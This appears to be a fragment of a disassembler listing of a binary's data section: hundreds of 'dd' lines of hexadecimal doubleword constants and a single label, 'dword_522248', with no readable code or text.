		dd 9ABB4369h, 599BC9CAh, 0BE5802E4h, 521D9225h,	5C7CBE39h
		dd 4DA434E9h, 97D08112h, 0AF8B3B37h, 8580BA13h,	483CFFA9h
		dd 1D272B68h, 68C4AD1Eh, 5FF35252h, 0C872E582h,	527D68E3h
		dd 0F1397F77h, 0AA4CE297h, 0CBBFFD25h, 73009367h, 0D02D5FFEh
		dd 2E8B3A42h, 0ED657F87h, 2C26A039h, 409D3F94h,	0EB0EA8B3h
		dd 0E0EE04C0h, 0D9D3FDD8h, 179C3E1Ah, 0FAE81E53h, 60225D7Bh
		dd 8104FD6Fh, 8F01122Ah, 1ED377C1h, 0E19A84ECh,	0E31FFC3Bh
		dd 0C3CF83B8h, 51F88259h, 2E84624Dh, 96885706h,	0CC5212DAh
		dd 2B096844h, 0FF077C5Eh, 759BA316h, 0C22DB1A9h, 375EC03Bh
		dd 4F7A06D9h, 0D0FE7DE9h, 0B26E94BDh, 0B7F4C400h, 7426D108h
		dd 6DBC04EBh, 4C5F29CFh, 4F240490h, 26F78101h, 55657C08h
		dd 9D0BF4F4h, 688B0351h, 0BB1B77A2h, 384901C1h,	0B2FCCA14h
		dd 2A19D0A7h, 9A66C62h,	15EC3E1h, 374401F0h, 0BA5A4BD5h
		dd 4E375B2Ch, 12AFF733h, 0C22262B7h, 37FFC00Eh,	0BB530042h
		dd 1FE7329Ah, 0E917DA09h, 32EFB257h, 0C95033E1h, 81CB0501h
		dd 0C289F85Eh, 0B70780F0h, 0C5A7DAF3h, 0B5510CC5h, 0AC41497Eh
		dd 58F3C300h, 0AED0D2BAh, 0E2E95020h, 9D028214h, 66F7BBB3h
		dd 0E61291Dh, 95892F8Ch, 0F6AD49DDh, 0D42559BBh, 17181C68h
		dd 9A11C888h, 0DD340DFh, 26F9F04Ah, 870809D3h, 0E90947D9h
		dd 1EF05809h, 1403E6C1h, 7148D6h, 0DF1CFA2Dh, 1BC9050Ah
		dd 0E916DB77h, 2DFB1238h, 8CC702BDh, 89804DF7h,	0EC60C7E9h
		dd 80183C34h, 120655EFh, 0FFE3FB28h, 58933D58h,	97B2ED30h
		dd 0EFB744ABh, 0C18006F1h, 19C22CB0h, 21E64FA0h, 2B980EDCh
		dd 8D4D7534h, 83E0F2BEh, 84F2BBE9h, 0DF96A2EFh,	0F9B64E79h
		dd 3F7D815Fh, 0ADA004F4h, 6AC803C3h, 0DF31A1EBh, 65833625h
		dd 0E9962D2Dh, 7FFE5950h, 77BD3D69h, 2AEDD100h,	55900A9Eh
		dd 0F4AF1F01h, 50B5688Ah, 0BDC1D53Ch, 3B513167h, 298526B9h
		dd 1CC581DFh, 5772EC1Fh, 3355BF02h, 0DD093C0Fh,	2D03C096h
		dd 507F6535h, 7803B2E9h, 6048EC01h, 455DE6EEh, 870EE581h
		dd 0C0354622h, 0D71295EDh, 4EF897ACh, 58C23112h, 0E99221AAh
		dd 2F96251Fh, 0B4E1CAB1h, 0A94B6428h, 58CEE1C0h, 2DF95FC2h
		dd 0FF889BCAh, 20032865h, 0B904FA51h, 221D58C8h, 0A971DC0h
		dd 0AB2748B3h, 0C6FCF527h, 0A11724E8h, 5717A65Ah, 0F120F39Eh
		dd 5C598E8h, 60194344h,	7ED5EC49h, 0E62DBCF4h, 67BAF99Fh
		dd 84A16758h, 51C7EABCh, 0BE7EE941h, 0C55B82C3h, 0B15180A5h
		dd 59C888B6h, 40E0C02Dh, 0B0F7B38Eh, 9F91520Ch,	99D680Ah
		dd 20B8801Ch, 2D568D49h, 0DE218106h, 0A0B6835Ah, 1DAC35F3h
		dd 7C79B828h, 7D2DF03Eh, 6382FF09h, 0F2510C55h,	0DA21F080h
		dd 1314BB6Dh, 0F19225DEh, 96063B7Eh, 96BFB0A4h,	0C73D125Dh
		dd 82CAF46Eh, 50008DEAh, 7A8846B0h, 781027C5h, 560ED71h
		dd 5A423A3Fh, 1690C46Bh, 0A605AB07h, 5CC88F0Bh,	930C5C6Ch
		dd 48022C7Bh, 0F07DBB03h, 146B12F9h, 5FA0086Ah,	0C4AA5912h
		dd 0BBC0EB67h, 9E4B746Eh, 3886BD80h, 0C1DC019h,	326820Bh
		dd 4F81FD6Eh, 8D02EEC1h, 0D4313C7Ch, 1064AD61h,	5B6634B7h
		dd 53A3C10Dh, 0AC5823Ch, 7D161149h, 0FAB99202h,	0C0658007h
		dd 112E56F9h, 82BE9E0Fh, 216E4F23h, 0A698CDCBh,	10490D04h
		dd 0C644827h, 0C098C06h, 0FDC728FFh, 0A65130ACh, 1A76C243h
		dd 3464E9E5h, 50B5BF7h,	78943C91h, 6D6161Ch, 0C6CF0F80h
		dd 0BF08A81Ch, 0B08BEEDBh, 98B2C4EDh, 80667D57h, 1199FE89h
		dd 25DB7E69h, 0D2743558h, 5A408F3Dh, 0C41609E2h, 0FD0C9098h
		dd 3D48C174h, 6859040Bh, 32986136h, 0D74F1443h,	0E90BEF50h
		dd 20747063h, 7D37C1Ah,	0E3F508E0h, 0D7154C0h, 162984Bh
		dd 7A826B23h, 7CD5D7E9h, 5559A76Dh, 652EBE66h, 3C23D61h
		dd 0B8AB0F10h, 0D092EBFEh, 0EC51DDAEh, 419CE417h, 43E75541h
		dd 990C2560h, 27853CECh, 0EB2E6132h, 0C5D267C7h, 0F420413Fh
		dd 66277638h, 0D108AED6h, 0A5B12CE6h, 0EA51E9Dh, 0D0BB0704h
		dd 0BF11A4A0h, 0A81613FBh, 47DC8028h, 0CC0CCF81h, 0C43364Eh
		dd 0D7631899h, 3257963Dh, 2978B62Ch, 0AE55FD02h, 43C07DB5h
		dd 4ABFD2F7h, 494AD92Dh, 443C3B8Dh, 0E9078084h,	1ADF6779h
		dd 0F775B40Fh, 0D45A3D1Dh, 0BFC5D514h, 9AFCC9CBh, 0C908BC2Bh
		dd 5C01F8CBh, 5B10FFF6h, 3F0412EAh, 8C1B8D1Dh, 0ED19F1A1h
		dd 3FEF3001h, 0F7C76FE2h, 88CF324Dh, 886C0E0h, 2359EF2Eh
		dd 5FBE61Fh, 76F06801h,	7DB2A18Ch, 9DF23993h, 80CEEA9Dh
		dd 50663AC2h, 84F53B4h,	0D13494B8h, 3BD9FA32h, 0F3947529h
		dd 9A410h, 71346850h, 7D582111h, 0BDA4D40h, 5275040Fh
		dd 2A19C90Fh, 0CFD820ADh, 308F7C16h, 0B09DAB8h,	2F77F6Ch
		dd 0F708D3C3h, 3CBDAE18h, 19A22002h, 0C6DF7BE9h, 0E3789D5Dh
		dd 9A20579Ah, 0DDF627E5h, 0C34F90F2h, 0D8F500E1h, 0DFC9AAE3h
		dd 7A269FC0h, 3BC220B5h, 0F611068Bh, 17C869BEh,	30156980h
		dd 8AF84B12h, 0DC2FCB9Eh, 6B659A8Bh, 0CFA5640h,	0CD6B6926h
		dd 2C240848h, 3156A916h, 0D9E1A0B8h, 7B34799Bh,	0C92F2641h
		dd 9DB5E868h, 0BAE07E9Ch, 17F56BEAh, 61D3297Fh,	2241687Dh
		dd 1B1616EDh, 2729CCD0h, 2D257BC7h, 0CBF6F454h,	8949F4EBh
		dd 0B4A53B99h, 61F382F2h, 0E3C46075h, 0EC627221h, 47793DF6h
		dd 0E1E91092h, 0B7292E35h, 93146668h, 0B0008FEAh, 58C328E8h
		dd 6D4A9F68h, 9F901E8Ch, 35AFCF8h, 0F5EF5D90h, 6C3E2428h
		dd 49581DE0h, 0A67A2097h, 5906EB05h, 37C02671h,	0A896ABE9h
		dd 9F5AD098h, 0FFFAE854h, 2143B3A2h, 807F9875h,	44DF82E4h
		dd 13776A26h, 36270351h, 0E6B053B2h, 0FD2852F5h, 0B480852Bh
		dd 7BBF2259h, 21E90BE4h, 0AE9CA278h, 26CC682h, 0DAA47D50h
		dd 0D243E85Fh, 91491DBCh, 2B90CD4Bh, 0D840722Ah, 0F2B9807Ch
		dd 344C6177h, 5F4E095Dh, 28805F14h, 0C6087DE3h,	4F0A2F5Dh
		dd 14AD1FCh, 0D530AB98h, 6E284Fh, 982394EDh, 4FFEE90Dh
		dd 7EA16D80h, 0AE4A32F7h, 7E286D3Dh, 7EFA68B0h,	5439E980h
		dd 0EECDE118h, 9DAB52DEh, 0FBE0428h, 387A1AF8h,	842092C9h
		dd 5E257805h, 4930127Ah, 0FEEF9D3Dh, 69400721h,	8BC1E7D1h
		dd 16F7A000h, 284B4B38h, 0E1EFC884h, 5614DCB3h,	324AFFF6h
		dd 33C3ED80h, 587214A5h, 5A090605h, 875B565Bh, 37843C13h
		dd 8B8E86C1h, 0B18B900h, 0D27A9828h, 7EA53F9Ch,	0F09B177Fh
		dd 1AECAD72h, 678A125Ah, 4F04715Ch, 58036768h, 38B7B56Ch
		dd 0E8014E2Ch, 8092B652h, 71BF70E6h, 0C3F77061h, 7D16DF4h
		dd 974F3EDh, 0D601375Dh, 7C12B765h, 0C1005E80h,	0CD8102E5h
		dd 6187532Eh, 0EFE91333h, 0F375C27Ch, 9D8B2007h, 25EFEC80h
		dd 6DB8382Fh, 0A80948FCh, 42DBE933h, 0C4597D02h, 29C00E92h
		dd 2D5385B3h, 1CD6DDB7h, 52C304B4h, 0CD0609D9h,	2A40F828h
		dd 66EACA04h, 964C36BEh, 9AAA5D3Fh, 994F5081h, 84F26023h
		dd 1DB6610h, 0FA7BAD05h, 0EBF7011Ch, 4055E8BFh,	318758Dh
		dd 0FB292205h, 25C4E1E9h, 0CC48D5B2h, 5AA72C10h, 99F0FB81h
		dd 0EADEC004h, 24C56F16h, 5FE485A8h, 5E09BDA3h,	0A9716FDFh
		dd 55E9C1E0h, 1CFC2FE3h, 0FE8F65B5h, 8BA893D1h,	1094A36Ah
		dd 5824FDC9h, 6EEA5AB1h, 0FAFCC310h, 0CE4B4182h, 5A6B4524h
		dd 467089B8h, 9EFA3785h, 1AECD65Eh, 1460BEE4h, 0BE1A56E9h
		dd 40812EE5h, 215B5DEEh
		dd 98976EB0h, 16535ED4h, 0FE18A6E9h, 6EF0BA29h,	40E09685h
		dd 0C68859B0h, 15BFA29Dh, 79E35C0Fh, 6562605Bh,	976BC382h
		dd 0B0B4182h, 0ED1C31F0h, 279440C2h, 0FAD2CE6h,	70E93602h
		dd 2481091Bh, 2E5A2064h, 0D973001h, 21205D95h, 427516E5h
		dd 1FC60B27h, 0BE5E1232h, 0D2F65F38h, 56C1CD85h, 17EAACB1h
		dd 52300594h, 90896664h, 0E149276Dh, 0C101D6D9h, 8F132E77h
		dd 0EE19406Ah, 0E7C7108h, 0C4D5290h, 28F416D7h,	3CC50FECh
		dd 52504B66h, 47F9275h,	0B9407691h, 1E9C3188h, 48CE40BFh
		dd 4180B68Bh, 0EC5F5457h, 599FF21Bh, 4F00726h, 0C469B2C2h
		dd 0ADBDD353h, 5C298107h, 287B1C8Bh, 0FC9EF8DAh, 2A17F140h
		dd 2D58287Ah, 4FEF8106h, 0DD51AD01h, 0B9FCEAC0h, 843AD460h
		dd 4B91FA29h, 4B66CE98h, 0A5D2BE06h, 5C1479E5h,	3212DE73h
		dd 5A2DDB65h, 0F32B9FF1h, 5B3E3CBEh, 4C0CD7B2h,	721619FAh
		dd 11A2A5D3h, 287959C1h, 0D8A600Ah, 99123771h, 1FF126E9h
		dd 834DA42Bh, 0D90EC164h, 0E916BA85h, 7CF552h, 0C74354E9h
		dd 0EDFB5A01h, 5DC38987h, 7F97BE91h, 3665509h, 8327822h
		dd 1692F10Ah, 0E9608F82h, 0B74A78D6h, 65EC05F3h, 1D0C0235h
		dd 0C121EC4Eh, 626FF177h, 0CCD9CC74h, 767B6AA8h, 88390DBAh
		dd 71B74ADEh, 222E243h,	0FFED8003h, 3F0E8E9h, 6AD6BF10h
		dd 0ACD10A7Ch, 6AB67EEEh, 0B7D80127h, 0F016F49Dh, 6C4B5CE9h
		dd 2A38E241h, 20ED5ABCh, 0E2EAAA54h, 2F697B73h,	12ECD484h
		dd 890DB13Ah, 2273920Ch, 0DD5BDAE5h, 54E5D560h,	74E2EC2Fh
		dd 805BBBD0h, 1E0DBD51h, 5DF415ECh, 763AE7BEh, 22B10925h
		dd 2F653ECh, 0A66602BAh, 0D6A3DE54h, 0FEE43173h, 3D3F08DFh
		dd 92E6DF88h, 9EC09B27h, 5F121E2Dh, 82BA030Fh, 28E4CAD5h
		dd 1740AB90h, 0B5510E5Ah, 0B18652D8h, 0A630841Fh, 8825420Dh
		dd 286A004Ah, 0D010A405h, 48BD8948h, 1D02B260h,	924F642Bh
		dd 51D1EAD7h, 6AD91F9Ah, 173D2020h, 147FB41h, 22988BBh
		dd 48BB3015h, 2F4AB4E2h, 8418DBDh, 54633120h, 73E5FB5Bh
		dd 0BA02B713h, 0BB002E31h, 34A335Ah, 9586B904h,	10F93043h
		dd 0EB8006Bh, 44A90301h, 3106BB25h, 20E0C1A1h, 35404B3Ch
		dd 14A22D68h, 1AC80998h, 16ECB12h, 1208AFFh, 33EDBA52h
		dd 0C76B07CBh, 9F93574h, 91C1C494h, 0DC9C6458h,	0FBB7187Eh
		dd 535F1EC6h, 8236FDFAh, 0F0A4E9h, 60CE6851h, 26F246B5h
		dd 404C78B1h, 0A2E15693h, 71608598h, 33C1F117h,	0EA2D76BEh
		dd 0B829E22Ch, 0E7D325EBh, 378B8DF4h, 91C7D4Ah,	9F706FB5h
		dd 1CF5E58Fh, 0E62B3163h, 0C465F545h, 27B01DFCh, 7CC2EC27h
		dd 9B6FC3F1h, 0F3CF2B07h, 659FC067h, 45A751DBh,	89CE257Bh
		dd 3A93A671h, 39BA86F0h, 4B0A0754h, 1FBBD631h, 0A88ACCF2h
		dd 5018EE45h, 0AC9A6744h, 257EB22Ch, 63FC7D31h,	0CD9A7772h
		dd 0F9291985h, 61720E85h, 49D55451h, 0FD5089A3h, 0F19F1ECCh
		dd 4EDDE92Eh, 6118BD50h, 5181DD66h, 7967B9D4h, 1AC3B57Eh
		dd 0C16149EAh, 3477C5E9h, 257CBAC6h, 746B0B9Dh,	4AD70F9Eh
		dd 0C62046CCh, 4057E231h, 138D06EEh, 6A322750h,	0A11266E2h
		dd 0E764523h, 1522A358h, 99D6EC1Ch, 0A52A02EAh,	6187E01Eh
		dd 618EC34Bh, 8010274Dh, 0E6FD4069h, 8C1F4E6Ah,	40A84F38h
		dd 5EB652B0h, 0B3BC805Eh, 22CB7827h, 4C3B72C7h,	94B7459h
		dd 2424FD90h, 22DCBBE0h, 7C94B759h, 55DF6810h, 0DBA0E90Ah
		dd 0E4F00850h, 19F68100h, 95C7043Ah, 0E5D7F4E2h, 0B9E9074Dh
		dd 6E7F0963h, 0C201200Bh, 4FC36233h, 0F271F0E6h, 895BBD23h
		dd 0A35DD83h, 9B7E2F18h, 0E3D55DC2h, 309F9045h,	0D7C8A2E5h
		dd 1E5625E2h, 0E6E8290Eh, 260E14ABh, 27EB252h, 0D32890F2h
		dd 3016D06Bh, 3DF62313h, 7863143Dh, 96BA5356h, 0CFBEC6A3h
		dd 6052CCC1h, 4A725146h, 0F2291117h, 0A084210h,	94F725E9h
		dd 8FD2484Eh, 1627D9C6h, 0D4D1B497h, 55966368h,	0DEFCE2E2h
		dd 350F7825h, 0BD262617h, 126B1036h, 16CC4524h,	2B7AE58Ch
		dd 0CC2F9B4h, 67AD6A20h, 0B517DE90h, 41AF42AFh,	0E34C3AF6h
		dd 0B4AC6A02h, 85DC1AB2h, 0C597421Dh, 86486B4Fh, 269646Ch
		dd 378D2DD8h, 0FA5FC679h, 0EDC2A16Ah, 31787033h, 0BAFFFA86h
		dd 60C6C30Ch, 4F229720h, 9FCBE959h, 0FA70C24Bh,	6ED71814h
		dd 0D3EDCCBAh, 76010DCBh, 2FDAAC9Dh, 7E3BFB53h,	9FE82FEDh
		dd 5ED7F5CCh, 148CC0A0h, 5340E196h, 123C6855h, 0AB6C0A31h
		dd 1790D853h, 12F5BF57h, 0A865F90Ch, 0EA422ED3h, 1D33E904h
		dd 0E940B0CAh, 0D521392Ch, 429E5DFh, 0D2D9EC08h, 61ECEFBh
		dd 47C9E9DEh, 80CE500Fh, 923B00F3h, 1AE5817Ah, 130F736Ch
		dd 2045EDD1h, 0B243AFCDh, 0E94D0C74h, 30B4DB24h, 5966EA02h
		dd 4002E2C0h, 72FE6F69h, 0F1CD58C5h, 4E99406h, 0F6272CFCh
		dd 0EF0180D7h, 0FCFE30CFh, 5F4E4A83h, 2B4D45BDh, 2DEC903Ah
		dd 0AD2D3778h, 96D3C5E8h, 0A971BE3Ch, 8105F936h, 29379ECCh
		dd 80640100h, 0DA015117h, 0EB19D060h, 92D6A96Ah, 29B929FAh
		dd 63780545h, 8D803CCCh, 4E587327h, 0AE47BB09h,	5E991AF0h
		dd 527C04A5h, 5B21E093h, 2C746A0Fh, 58BC1h, 3F7F0245h
		dd 0FD29090Ch, 0F02019E9h, 7614368h, 0F6594E2Fh, 9D570B03h
		dd 540F079h, 4A310945h,	1058B953h, 5D3BDA29h, 0CA089A13h
		dd 4CC69DEh, 19E3219Fh,	4C2A3305h, 63EE8270h, 12581455h
		dd 4410FA68h, 13B841CAh, 0C5ED00ABh, 45537358h,	85985A5Fh
		dd 0CB185392h, 53813878h, 0F928FF4Eh, 665D8901h, 445626C7h
		dd 0E883DAC9h, 3F29814Ch, 3E076E01h, 312F0665h,	2FF50183h
		dd 6E2975C9h, 66BFE8F6h, 80DD4E34h, 1C3E3596h, 0D223C00h
		dd 161938F4h, 6D200205h, 1A2D0146h, 89179680h, 0A52EE9C7h
		dd 15587639h, 2B3180D2h, 0B4185B4Ch, 3F736DBBh,	0CEFEB064h
		dd 0DDE25EC3h, 0AB4B91D3h, 0E1880090h, 17F2BD58h, 0A34CF8F8h
		dd 102A806Dh, 0BB86581h, 9A7EEFDAh, 662C3470h, 68AC0507h
		dd 0E6CBA209h, 0AB22778h, 3FD7B8A2h, 0E3B12904h, 6643DC83h
		dd 20103914h, 5F2620DCh, 0E8E32F7Ch, 8975EA84h,	891786A9h
		dd 7467D8E5h, 13CC1E48h, 0E94C37E9h, 14CEBA51h,	865C5E15h
		dd 96EEB420h, 824E46EEh, 99F50B2h, 9A5DEE38h, 0C5E0FDF9h
		dd 0FA2B31BFh, 0F70BB626h, 371B7CD1h, 58667168h, 3F142114h
		dd 0AE7ACC0h, 93F12B5h,	5B17FFF5h, 9EDF8663h, 0FD681F13h
		dd 0D2CD774Dh, 0C1FC132Fh, 7E38369h, 0F7B124BAh, 6F1E09D9h
		dd 55BF5700h, 14CBE96h,	0D9101688h, 0B53C77EEh,	48F15849h
		dd 879C57F7h, 44B52D93h, 533AA661h, 0A98EAA4Fh,	9501B92Fh
		dd 69A43AE9h, 975B3E96h, 90365D1Bh, 73CA00FCh, 0E2B8363Ch
		dd 7B5E9BACh, 0D55A00F8h, 0E09BE8B0h, 5A25FBC7h, 0CA60E9B3h
		dd 0B808CD52h, 25152CF6h, 0C5D5796Ah, 6EEC88D7h, 22C3823Dh
		dd 5445642Eh, 0A8596555h, 75B9D66Eh, 2226F02Dh,	86306EE2h
		dd 5AD1041h, 0C14C1493h, 680C9A79h, 0F76B61C9h,	9F070659h
		dd 5E084189h, 0E46DC3FEh, 8A64BB84h, 1714E281h,	5BB15100h
		dd 86D9F60Eh, 8D48CE1h,	56C92580h, 0E6B1835Dh, 0EED303B1h
		dd 23142AC8h, 4616F6B0h, 0E9622505h, 0F9D5E802h, 61B74601h
		dd 806E75DCh, 0A8CE8129h, 6B484FFAh, 87AD30B4h,	0B4A05F0h
		dd 5E23D552h, 51262945h, 0EB4E8C05h, 7720EEC1h,	6B685000h
		dd 22A10D13h, 0E1F6B409h
		dd 0EE8A5634h, 98927C5h, 0A605D189h, 69BFA2CEh,	96C7D8F4h
		dd 16D752A6h, 0A9C70414h, 80326B1Fh, 0CE66A57Ah, 49748548h
		dd 72A393FFh, 6D41EB4Bh, 0D32FEBBFh, 700CE542h,	0DBC5BF0Dh
		dd 120A941h, 0C266773Bh, 3D4AD692h, 23032FFEh, 0E9103D58h
		dd 0FF3DD780h, 0FB277F34h, 0BED73CB2h, 41ADB828h, 10D76DEAh
		dd 0AB404543h, 20B59E0Ah, 141209B7h, 337617F0h,	0AE65F749h
		dd 0A6A7E9C1h, 80DFF752h, 3A4D64A9h, 840CC30Bh,	59CE0837h
		dd 8A20C290h, 0AC664A1Ch, 0D7148C50h, 379A0BB9h, 435E5641h
		dd 8E18039h, 5E96C981h,	0DB7A4CD1h, 0A8F93C25h,	42F4FF07h
		dd 52CC26B2h, 182F869h,	814CCB18h, 0EA491DE2h, 507C48E0h
		dd 16628BB1h, 809CFDF8h, 6816D184h, 4DFE1905h, 0F9125790h
		dd 0FE5FF574h, 0E9448177h, 0BD57C862h, 1EEA5D65h, 34E653AEh
		dd 963AC35Ah, 665C04F4h, 9485E3ACh, 738EABD5h, 513CBB4Bh
		dd 0CF25655Eh, 0CB326EFh, 0E926BF84h, 5A95D334h, 55CA9623h
		dd 5BE4B35Ah, 0B372A4A0h, 32680425h, 8B0B127Fh,	0FA1F6B65h
		dd 5D09FBh, 7B21A41Fh, 4D0CC76Ch, 0CE13A61Ah, 0C4376A09h
		dd 3AA8F534h, 85F1608h,	0BA039DDAh, 0F54071E3h,	38CBD1FAh
		dd 0B8E00D4Ah, 62069E6Fh, 9877151Eh, 583F802h, 82689B44h
		dd 0BE1D400Bh, 40237BA6h, 1C4EE917h, 0EAF65DB4h, 5B282E0Fh
		dd 0A5FCB83h, 555A04E7h, 0BD20D244h, 295D4BD4h,	0DE0DADAEh
		dd 9482456Ch, 0C6E3FAA9h, 3AC3E982h, 0C5CF8ED1h, 1F69EAB3h
		dd 0F6C6443Eh, 7BD08A42h, 7D67E2Eh, 55AB75E2h, 0FBFEDB1Eh
		dd 268C040h, 78F108B6h,	4877895Bh, 246FAB6Eh, 0B05A66h
		dd 7B82345Ch, 5C8D2F7h,	0B9E20DAh, 0B2B5D1D9h, 0A7B97653h
		dd 40A9D4C7h, 2B9B6652h, 1B44ECEDh, 0C018BF6Eh,	8F9ADE2Eh
		dd 0A2FA4E01h, 0CBFAD245h, 76FC5EA6h, 12B782F4h, 5DAB1AFFh
		dd 0C9A87571h, 3BE3C020h, 0ED93C589h, 91E6931Ch, 865674FAh
		dd 52FDDE25h, 1CA87FDh,	40DE5E19h, 0DC6A2DBBh, 0EBC15E09h
		dd 268EDD05h, 6AC10F5Ah, 86FC058Eh, 768310Ah, 481702DAh
		dd 0D0FEEACBh, 7E3CB720h, 29260209h, 8BB850F7h,	972ED808h
		dd 6027C07Bh, 711BEF2Eh, 0FDAFA01Eh, 0FE7F27BFh, 91206770h
		dd 52552C28h, 756800DDh, 98BA3D1Ch, 9ACE7631h, 8D691109h
		dd 8255B24Eh, 0A9813E9h, 445C04D3h, 9EA18049h, 2F5C831Ch
		dd 0C0209EDh, 0BA897Dh,	14D03286h, 0E5D94DF7h, 0D4F1387Bh
		dd 0F27C2B18h, 8A33427Fh, 0DFA31806h, 0CA210451h, 0BF70D330h
		dd 262EE79h, 5C42CD3h, 121C84E0h, 3A84E581h, 41EF03A6h
		dd 0C58A8970h, 0E9EBD091h, 0E682884Eh, 0FB00FE5Fh, 6C71CB8Ah
		dd 7EADB248h, 0D2BE424Dh, 33E7FF09h, 0E2F5E989h, 0F283523Dh
		dd 0E2DF4E8Fh, 8A2C0582h, 0C8EFF028h, 0B89A1B66h, 0E19C5C97h
		dd 7E1FA368h, 0F3A11DE2h, 0C38B92F2h, 7D291BE4h, 0F0D827D3h
		dd 4A90A55Dh, 4D3FF10h,	5A3619Eh, 1F4194EAh, 92764B08h
		dd 3C0013AAh, 0FDDF1138h, 2CFA92A9h, 0E05986D9h, 10E658C2h
		dd 5926E45Fh, 0BB6BE54Bh, 13A34812h, 0FC4AF642h, 0B30B8A25h
		dd 89CB2CADh, 2F4D41DBh, 0E9B080F8h, 0F1B1C6A1h, 0D1F28040h
		dd 0B1511250h, 6502EBAFh, 0C1F13031h, 8C3A0BBCh, 0EC16EB3Dh
		dd 14B0C735h, 977E9068h, 6882654Dh, 750E6D58h, 12176C04h
		dd 9E3ADFCCh, 2FF32D10h, 0B241E9C1h, 0C0EB1D81h, 70E6B51Fh
		dd 0EFC84E8Bh, 13E1A4C7h, 82793792h, 77099657h,	5D5036E6h
		dd 0A112A9BAh, 0C3FEF079h, 33B8F7E5h, 471D63E7h, 796F9BE9h
		dd 0E0A445DAh, 55EC4133h, 0C723E160h, 13B6D0E2h, 57FD89B5h
		dd 859DAD3Fh, 0C4E97F07h, 1E8C5809h, 0FA0CCAD0h, 0F638E75Dh
		dd 0C20C0DC1h, 2B6F6849h, 0D1C8BF12h, 0F82027E9h, 4C6FC7FCh
		dd 0FF32994h, 69342247h, 0E96020D7h, 68803001h,	8E604A90h
		dd 2B405A3Ah, 7C661395h, 0B5775BAh, 0AAE96C87h,	0AC5C29A6h
		dd 600F2109h, 4D78220h,	0EFC78743h, 56020602h, 6FE941ECh
		dd 7EA27B84h, 0B2BF51Dh, 97F3FFDh, 12F8F841h, 0FBA905E9h
		dd 0E78A7031h, 365955C2h, 67315FCBh, 2B01F1F0h,	0ED128FCEh
		dd 6E7229F6h, 34AE6A16h, 0F34FC1FEh, 48C82466h,	38BF5703h
		dd 104A152Ch, 4B03C81Ch, 341E8CACh, 0B3A88DF5h,	151B20A3h
		dd 0D1B34C5Ah, 1004F027h, 0D2E0EE46h, 26FF0F56h, 0BE3229A9h
		dd 0D86A6A99h, 0F19DF364h, 0B7DCAF1Bh, 83D13358h, 93D00EA9h
		dd 0AA014F0Ah, 7E47648Bh, 0CE917DF0h, 3943BBDBh, 2FDB58B9h
		dd 0E0B2F48Dh, 5AF06817h, 66779100h, 134E3DACh,	0A3607BE9h
		dd 9623AE2h, 551E2C13h,	2DAD93C8h, 8C278A1Fh, 68D829C1h
		dd 1C3C33B3h, 9848CBDEh, 2AFF327h, 0BAD61FE8h, 37B1D113h
		dd 0B1CFB0D4h, 16846F0Eh, 79B6F341h, 0E39B2A29h, 92DFFA67h
		dd 4232B8E1h, 0D0D4EFD2h, 0A9CFECD2h, 2E4F8D8h,	6845D44Eh
		dd 7C4C740Bh, 0E17E5704h, 0A3804B10h, 942BED3h,	5CB6E92Dh
		dd 0C034A469h, 78972212h, 89510239h, 9979E9F9h,	145108D6h
		dd 0ED143A13h, 508752B5h, 0F628DC23h, 0CCA8E7D8h, 0C5EE515Dh
		dd 7C951C70h, 0B05D5A48h, 9615A67Fh, 6139C23Bh,	0B880259h
		dd 0E9540237h, 0EC9B57A0h, 7C7C10C2h, 0C98A5812h, 9CC317Fh
		dd 0C8CF882Eh, 89E5BF8h, 41202C51h, 41CE5D02h, 0A868FA97h
		dd 0BC44BDEAh, 3BC14D25h, 1035D9E4h, 92F8779Ch,	6D5A05C5h
		dd 4D03F46Ch, 0B5427B40h, 0C4CFC54h, 88831298h,	2940E06Ah
		dd 94BB709Dh, 8BF4D2DBh, 0ACEE27Bh, 533A00B8h, 0BE566C3Dh
		dd 0DF756002h, 60DEF755h, 257DC50Fh, 5F7C0C9h, 6CA4EBA8h
		dd 723F2FE9h, 0F1732874h, 2422ED32h, 5659070Bh,	0A48A807Dh
		dd 95063C4Ch, 0B35C8B00h, 501F9C3h, 458F5D3Eh, 82F2D029h
		dd 75C28907h, 97B0F220h, 214B9379h, 8812164h, 0CE02759h
		dd 0AEB90151h, 170FD71h, 10712DCFh, 0AB4ACB80h,	7FF0A50h
		dd 0D7F6F788h, 0A4807D4Bh, 42FEE80h, 0F03A6370h, 0A65A392Ch
		dd 0F43D87E6h, 0B790E4F2h, 22B4184Ah, 8A620AF2h, 2A45B31h
		dd 2717FB84h, 3F9BE160h, 2963BD17h, 84194B8h, 0F7C50278h
		dd 444F9D1h, 9284A24Fh,	9118C82h, 9F80EFFh, 0E4595438h
		dd 0D2258C68h, 0B84A3340h, 0F39292C8h, 2D12CD3Ah, 0D7671650h
		dd 1296F8F3h, 5DC64918h, 73756C7Fh, 8974050Ch, 0D095EAE9h
		dd 0C016C99Dh, 0F1EC66B0h, 0CE88280Fh, 70819459h, 0EB75F37Bh
		dd 68B9A1BFh, 0DB7B2DEFh, 0A6C554E0h, 60011030h, 66DECAh
		dd 3BB05053h, 3F2C9434h, 520E0B98h, 6E51C688h, 59EBA4F5h
		dd 2AEE0585h, 0DA281278h, 0EF9363FDh, 0F2804500h, 76D420C2h
		dd 37E4305Ah, 96689006h, 0B74F1054h, 0FC33D370h, 8359DC5Bh
		dd 66F075E3h, 69C0858h,	0BAF50D70h, 0F9E98A22h,	0B088AFABh
		dd 0D5613CCh, 3A597323h, 425864C0h, 0EA89A0ACh,	31011E5Bh
		dd 0C5C15D30h, 0B040E905h, 0E04BBEAh, 29158FF9h, 7B9BDE4h
		dd 475C4B32h, 0A982A9F7h, 65D13591h, 0C6E1F442h, 685909B4h
		dd 257C1FFBh, 9F2173CFh, 596CCF8Eh, 16FD1796h, 68EF6137h
		dd 0FDB46B17h, 0E73EF704h, 62EC88E3h, 3077077Eh, 9B4312F0h
		dd 0A7562D1Ch, 66644E39h, 7E7B36EBh, 0BD607D54h, 0E33A7702h
		dd 7D3CE91Bh, 0A2A5FEABh, 1B852EBh, 933A8B0Dh, 6FAEF01h
		dd 0DCDDB249h, 5F8A12C9h, 74B03E71h, 2817B1BFh,	0E9E47875h
		dd 2E0D2D2Ah, 611675B9h, 0F78CF86Ch, 0FCEE5F39h, 974F53BDh
		dd 0F736E459h, 0F961C1C5h
dword_522248	dd 329331ABh, 8C182823h, 136ED855h, 14DD34Ch, 2CB3943Ch
		dd 0CFB07EB2h, 0E18B72E9h, 0A9C6DFC2h, 5C21664Eh, 5302CB62h
		dd 5BF8C376h, 5E89B557h, 44247546h, 6C3E317h, 0BD100754h
